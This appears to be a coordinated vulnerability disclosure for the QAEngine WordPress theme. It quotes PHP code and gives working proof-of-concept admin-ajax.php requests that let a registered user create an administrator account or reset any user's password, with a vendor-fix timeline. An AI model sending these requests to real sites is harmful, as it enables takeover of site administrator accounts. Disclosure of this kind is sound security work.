[-] Theme Link:

https://www.enginethemes.com/themes/qaengine/

[-] Vulnerability Description:

[+] 1st Vulnerability:

qaengine vulnerability allows an attacker to have an administrator account
on the target's website
vuln code in /qaengine/includes/aecore/class-ae-users.php:

public function insert( $user_data ){
        if( !$user_data['user_login'] || !preg_match('/^[a-z\d_]{2,20}$/i',
$user_data['user_login']) ) {
            return new WP_Error( 'username_invalid', __("Username only
lowercase letters (a-z) and numbers are allowed.", ET_DOMAIN) );
        }
        /**
         * insert user by wp_insert_user
        */
        $result = wp_insert_user( $user_data ); ....

its inserting a new user using user input ( $user_data )
the function is being accessed from the sync function

public function sync($request) {
    extract( $request );
    unset($request['method']);
    switch ( $method ) {
        case 'create':
            $result    =    $this->insert( $request );
            break;
        case 'update':
            $result    =    $this->update( $request );
            break;
        case 'remove':
            $result    =    $this->delete( $request['ID'] );
            break;
        case 'read':
            $result    =    $this->get( $request['ID'] );
            break;
        default :
            return new WP_Error('invalid_method', __("Invalid method",
ET_DOMAIN) );
    }
    return $result;
}

and the sync function can be accessed through ajax
$this->add_ajax('ae-sync-user', 'sync');

and since there is no third parameter in add_ajax setting 'nopriv' to true
this can be accessed only by registered users

public function add_ajax($hook, $callback, $priv = true, $no_priv = true,
$priority = 10, $accepted_args = 1 ){
        if ( $priv )
            $this->add_action( self::AJAX_PREFIX . $hook, $callback,
$priority, $accepted_args );
        if ( $no_priv )
            $this->add_action( self::AJAX_NOPRIV_PREFIX . $hook, $callback,
$priority, $accepted_args );
    }

Proof of Concept:

accessing this by a registered user will insert a new user with username
(xADMIN) and password (xPASS) and an administrator role

localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&user_login=xADMIN&user_pass=xPASS&role=administrator

response:

{"success":true,"data":{"action":"ae-sync-user","user_login":"xADMIN","user_pass":"xPASS","role":"administrator","ID":5},"msg":"Update
user successful!"}

[+] 2nd Vunerability:

and another vulnerability in update function
public function update( $user_data ){
....
$result = wp_update_user( $user_data );
...
}

this will allow the attacker to update any user(including administrator)
information like password,email,etc...

Proof of Concept:

the id parameter is the id of the user to be modified (usually 1 will be
the administrator)
localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=update&ID=1&user_pass=ANOTHERPASSWORD

Response:

{"success":true,"data":{"ID":"1","user_login":"admin","user_nicename":"admin","user_email":
...


[-] Timeline:

22 March - Vendor Notified
23 March - Vendor Replied & Fix Released
07 April - Public Disclosure